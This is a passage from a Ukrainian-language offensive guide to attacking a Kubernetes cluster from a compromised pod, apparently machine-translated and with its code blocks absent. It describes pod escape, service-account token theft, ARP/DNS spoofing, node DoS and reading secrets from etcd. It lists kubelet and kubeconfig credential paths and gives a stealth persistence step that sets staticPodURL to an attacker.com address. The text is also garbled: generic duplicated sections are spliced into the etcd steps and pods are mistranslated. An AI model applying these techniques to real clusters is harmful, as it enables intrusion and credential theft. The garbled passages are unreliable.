Attacking Kubernetes from inside a Pod
Втеча з Пода
Якщо ви маєте достатньо щастя, ви можете втекти з нього на вузол:
Втеча з Пода
Для спроби втечі з Пода вам може знадобитися підвищення привілеїв спочатку, деякі техніки для цього:
Ви можете перевірити ці втечі з Docker, щоб спробувати втекти з Пода, який ви скомпрометували:
Зловживання привілеями Kubernetes
Як пояснено в розділі про перелік Kubernetes:
pageKubernetes EnumerationЗазвичай Поди запускаються з токеном облікового запису служби всередині них. Цей обліковий запис служби може мати деякі привілеї, які ви можете зловживати, щоб перейти до інших Подів або навіть втекти на налаштовані вузли всередині кластера. Перевірте, як це зробити:
pageAbusing Roles/ClusterRoles in KubernetesЗловживання привілеями Cloud
Якщо Под запущено в хмарному середовищі, ви можете витікати токен з кінцевої точки метаданих та підвищувати привілеї, використовуючи його.
Пошук вразливих мережевих служб
Оскільки ви знаходитесь всередині середовища Kubernetes, якщо ви не можете підвищити привілеї, зловживаючи поточними привілеями Пода, і не можете втекти з контейнера, вам слід шукати потенційно вразливі служби.
Служби
Для цієї мети ви можете спробувати отримати всі служби середовища Kubernetes:
За замовчуванням Kubernetes використовує плоску схему мережі, що означає, що будь-який pod/service в межах кластера може спілкуватися з іншими. Простори імен в межах кластера за замовчуванням не мають обмежень мережевої безпеки. Будь-хто в просторі імен може спілкуватися з іншими просторами імен.
Сканування
Наступний сценарій Bash (взятий з семінару з Kubernetes) встановить та просканує IP-діапазони кластера Kubernetes:
Перевірте наступну сторінку, щоб дізнатися, як ви можете здійснити атаку на конкретні служби Kubernetes, щоб компрометувати інші підсистеми/весь середовище:
pagePentesting Kubernetes ServicesПідслуховування
У випадку, якщо компрометований підсистема працює з якоюсь чутливою службою, де іншим підсистемам потрібна аутентифікація, ви можете отримати дані для входу від інших підсистем, підслуховуючи локальні комунікації.
Підроблення мережі
За замовчуванням техніки, такі як підроблення ARP (і завдяки цьому підроблення DNS), працюють в мережі Kubernetes. Тоді, всередині підсистеми, якщо у вас є можливість NET_RAW (яка є за замовчуванням), ви зможете відправляти власноруч створені мережеві пакети та виконувати атаки типу MitM через ARP-підроблення на всі підсистеми, що працюють на тому ж вузлі. Більше того, якщо зловмисна підсистема працює на тому ж вузлі, що і DNS-сервер, ви зможете виконати атаку підроблення DNS на всі підсистеми в кластері.
pageKubernetes Network AttacksDoS вузла
У маніфестах Kubernetes не вказано ресурсів та не застосовано обмежень для контейнерів. Як зловмисник, ми можемо використовувати всі ресурси, де працює підсистема/розгортання, і вичерпати інші ресурси, спричинивши DoS для середовища.
Це можна зробити за допомогою такого інструменту, як stress-ng:
Ви можете побачити різницю під час виконання stress-ng
і після.
Пост-експлуатація вузла
Якщо вам вдалося вийти з контейнера, ви знайдете цікаві речі на вузлі:
Процес Container Runtime (Docker)
Більше подів/контейнерів, що працюють на вузлі, які можна зловживати, як цей (більше токенів)
Весь файловий систем та ОС взагалі
Служба Kube-Proxy, яка прослуховує
Служба Kubelet, яка прослуховує. Перевірте файли конфігурації:
Директорія:
/var/lib/kubelet/
/var/lib/kubelet/kubeconfig
/var/lib/kubelet/kubelet.conf
/var/lib/kubelet/config.yaml
/var/lib/kubelet/kubeadm-flags.env
/etc/kubernetes/kubelet-kubeconfig
Інші загальні файли Kubernetes:
$HOME/.kube/config
- Конфігурація користувача/etc/kubernetes/kubelet.conf
- Звичайна конфігурація/etc/kubernetes/bootstrap-kubelet.conf
- Конфігурація завантаження/etc/kubernetes/manifests/etcd.yaml
- Конфігурація etcd/etc/kubernetes/pki
- Ключ Kubernetes
Знайдіть kubeconfig вузла
Якщо ви не можете знайти файл kubeconfig в одному з раніше згаданих шляхів, перевірте аргумент --kubeconfig
процесу kubelet:
Викрадення секретів
Скрипт can-they.sh автоматично отримує токени інших капсул та перевіряє, чи мають вони необхідні дозволи (замість того, щоб ви перевіряли їх по одному):
Привілейовані DaemonSets
DaemonSet - це под, який буде запущений на всіх вузлах кластера. Тому, якщо DaemonSet налаштований з привілейованим обліковим записом сервісу, на ВСІХ вузлах ви зможете знайти токен цього привілейованого облікового запису, яким ви можете зловживати.
Експлойт той самий, що й у попередньому розділі, але тепер ви не залежите від удачі.
Перехід до хмари
Якщо кластер керується хмарним сервісом, зазвичай Вузол матиме інший доступ до кінцевої точки метаданих ніж Под. Тому спробуйте отримати доступ до кінцевої точки метаданих з вузла (або з под з hostNetwork встановленим на True):
pageKubernetes Pivoting to CloudsВкрасти etcd
Якщо ви можете вказати nodeName вузла, на якому буде запущений контейнер, отримайте оболонку всередині вузла управління та отримайте базу даних etcd:
control-plane вузли мають роль майстра і в кластерах, керованих хмарою, ви не зможете запустити на них нічого.
Читання секретів з etcd
Якщо ви можете запустити свій под на вузлі control-plane, використовуючи селектор nodeName
в специфікації пода, ви можете легко отримати доступ до бази даних etcd
, яка містить всю конфігурацію кластера, включаючи всі секрети.
Нижче наведено швидкий і нечесний спосіб витягти секрети з etcd
, якщо він працює на вузлі control-plane, на якому ви знаходитесь. Якщо ви хочете більш елегантне рішення, яке запускає под з утилітою клієнта etcd
etcdctl
та використовує облікові дані вузла control-plane для підключення до etcd, де б він не запускався, перегляньте цей прикладний файл від @mauilion.
Перевірте, чи працює etcd
на вузлі control-plane та перегляньте, де знаходиться база даних (це на кластері, створеному за допомогою kubeadm
)
Атака Kubernetes зсередини Pod
Якщо ви отримали доступ до Pod всередині кластера Kubernetes, ви можете виконати наступні дії:
Використання Service Account Token: Ви можете використати токен облікового запису служби, який автоматично монтується всередині Pod, щоб взаємодіяти з API сервером Kubernetes.
Використання Kubernetes API: Ви можете взаємодіяти з API сервером Kubernetes, використовуючи бібліотеки, такі як
client-go
, які можуть бути встановлені всередині Pod.Використання kubectl: Якщо в Pod є встановлений
kubectl
, ви можете використовувати його для взаємодії з кластером Kubernetes.Використання Volume Mounts: Перевірте, чи монтується який-небудь Volume, який містить конфіденційну інформацію, таку як конфігураційні файли або ключі.
Використання Sidecar Containers: Перевірте наявність Sidecar контейнерів всередині Pod, які можуть бути використані для атаки на кластер Kubernetes.
Використання Environment Variables: Перевірте, чи є встановлені змінні середовища, які можуть містити конфіденційну інформацію, таку як паролі або ключі API.
Використання Network Policies: Перевірте налаштування мережевих політик, які можуть обмежувати комунікацію між Pod всередині кластера Kubernetes.
Використання Privileged Containers: Перевірте, чи є привілейовані контейнери всередині Pod, які можуть мати розширені привілеї доступу до кластера Kubernetes.
Переглянути дані в базі даних etcd:
Витягніть токени з бази даних та покажіть ім'я облікового запису служби
Та ж команда, але з деякими greps, щоб повернути лише типовий токен у просторі імен kube-system
Атака Kubernetes зсередини Pod
Якщо ви отримали доступ до Pod всередині кластера Kubernetes, ви можете виконати наступні дії:
Використання Kubernetes API: Ви можете використовувати службові об'єкти Kubernetes API для отримання інформації про кластер, створення нових об'єктів або навіть видалення існуючих.
Злам контейнерів: Ви можете намагатися отримати доступ до інших контейнерів, які працюють в тому ж Pod, або навіть виконати атаку на сам контейнер.
Злам вузлів: Ви можете намагатися отримати доступ до вузлів кластера Kubernetes, на якому працює Pod, і виконати атаки на них.
Використання мережі: Ви можете використовувати мережеві можливості для атак на інші об'єкти в межах кластера або навіть поза ним.
Використання ресурсів кластера: Ви можете використовувати ресурси кластера для власних цілей, таких як виконання обчислень або зберігання даних.
Статична/Дзеркальна Постійність Подів
Статичні Поди керуються безпосередньо демоном kubelet на конкретному вузлі, без спостереження API-сервера за ними. На відміну від Подів, які керуються планом управління (наприклад, Розгортання); замість цього, kubelet спостерігає за кожним статичним Подом (і перезапускає його у разі невдачі).
Отже, статичні Поди завжди прив'язані до одного Kubelet на конкретному вузлі.
Kubelet автоматично намагається створити дзеркальний Под на сервері API Kubernetes для кожного статичного Пода. Це означає, що Поди, що працюють на вузлі, видимі на сервері API, але не можуть керуватися звідти. Імена Подів будуть суфіксовані ім'ям хоста вузла з переднім дефісом.
spec
статичного Пода не може посилатися на інші об'єкти API (наприклад, ServiceAccount, ConfigMap, Secret і т.д. Тому ви не можете зловживати цією поведінкою, щоб запустити Под з довільним serviceAccount на поточному вузлі для компрометації кластера. Але ви можете використовувати це для запуску Подів у різних просторах імен (якщо це корисно з якоїсь причини).
Якщо ви знаходитесь всередині хоста вузла, ви можете змусити його створити статичний Под всередині себе. Це досить корисно, оскільки це може дозволити вам створити Под у різному просторі імен, наприклад, kube-system.
Для створення статичного Пода, документація буде великою допомогою. Вам в основному потрібно 2 речі:
Налаштувати параметр
--pod-manifest-path=/etc/kubernetes/manifests
у службі kubelet, або в конфігурації kubelet (staticPodPath) і перезапустити службуСтворити визначення на визначенні Пода в
/etc/kubernetes/manifests
Ще один більш прихований спосіб буде:
Змінити параметр
staticPodURL
у файлі конфігурації kubelet і встановити щось на зразокstaticPodURL: http://attacker.com:8765/pod.yaml
. Це змусить процес kubelet створити статичний Под, отримуючи конфігурацію з вказаного URL.
Приклад конфігурації пода для створення привілейованого Пода в kube-system, взятий з тут:
Видалення pods + вимкнення nodes
Якщо зловмисник зламав node і може видаляти pods з інших nodes і зробити інші nodes неспроможними виконувати pods, то pods будуть перезапущені на скомпрометованому node, і він зможе вкрасти токени, які в них запущені. Для додаткової інформації перейдіть за цими посиланнями.
Автоматичні інструменти
Last updated